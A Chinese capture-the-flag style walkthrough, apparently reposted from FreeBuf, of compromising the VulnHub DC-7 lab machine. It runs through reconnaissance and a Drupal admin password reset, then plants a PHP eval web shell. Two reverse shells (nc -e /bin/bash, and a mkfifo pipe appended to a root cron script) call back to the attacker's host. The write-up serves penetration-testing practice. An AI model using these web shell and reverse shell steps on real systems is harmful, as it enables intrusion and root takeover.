vulnhub之DC-7靶机渗透详细过程
2022-1-28 22:5:18 Author: www.freebuf.com(查看原文) 阅读量:4 收藏

使用nmap扫描C段发现靶机ip

nmap 192.168.26.0/24

发现靶机ip为 192.168.26.135 本次使用kali2020,kali IP为192.168.26.20

使用nmap扫描靶机具体信息

nmap -sS -sV -T4 -A -p- 192.168.26.135

也没发现什么有用的信息,然后访问80端口

使用kali下的网站指纹工具whatweb查看靶机搭建的网站,发现是使用Drupal 8搭建的网站

浏览器打开网站,是一个欢迎界面并给出了一个提示,提示将暴力破解和字典排除在外,需要另外的思路,发现在欢迎页面的左下角有一个“@DC7USER”,应该是接入点,提示说:

欢迎来到DC-7

DC-7引入了一些“新”概念,但是我会让您知道它们是什么。:-)

尽管这一挑战并不是技术性的全部,但是如果您需要诉诸于暴力破解或字典攻击,那么您可能不会成功。

您将要做的就是在盒子外面思考。

方式在盒子外面。:-)

图片.png

在百度搜索@DC7USER后,发现是一个Twitter用户,进入Twitter后搜索这个用户,进入这个用户首页,发现一个GitHub的链接

https://github.com/Dc7User/

图片.png

点击GitHub的链接发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口

https://github.com/Dc7User/staffdb

将源码下载到本地,分析源码,发现一个config.php文件,在这个配置文件里找到了用户名和密码

图片.png
使用SSH链接靶机,登录dc7user发现可以成功连接

ssh [email protected]

发现一个backups文件夹和一个mbox文件

进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码

cd backups

打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下

cat mbox

进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush

gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码

cd /opt/scripts
cat backups.sh

进入到/var/www/html目录下,因为网站会有一个admin用户,所以使用drush命令修改admin用户的密码为123456,发现可以修改成功

cd /var/www/html/

drush user-password admin --password="123456"
http://192.168.220.154/user/login

图片.png

在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

图片.png

点击Install new module,将下载模块包的链接添加上,点击Install

图片.png

Php介绍页面如下,模块包下载地址也附上

https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

图片.png

Install后跳转到模块添加成功页面,然后去激活这个模块

图片.png

选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示

图片.png

图片.png

然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码

GetShell
<?php
@eval($_REQUEST[666]);
?>

图片.png

因为欢迎页面是网站的首页,所以直接使用中国蚁剑连接网站,成功连接getshell,然后利用蚁剑的虚拟终端模块,反弹shell给kali

nc -e /bin/bash 192.168.26.20  4444
nc -lvvp 4444
python -c 'import pty;pty.spawn("/bin/bash")' #优化终端显示

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.26.20 666 >/tmp/f" >> backups.sh

写入反弹shell代码到backups.sh脚本文件中,并在kali监听666端口,等待计划任务执行,稍微等待后成功getshell

得到root权限后,进入root家目录下,发现theflag.txt文件

图片.png


文章来源: https://www.freebuf.com/articles/web/321140.html
如有侵权请联系:admin#unsafe.sh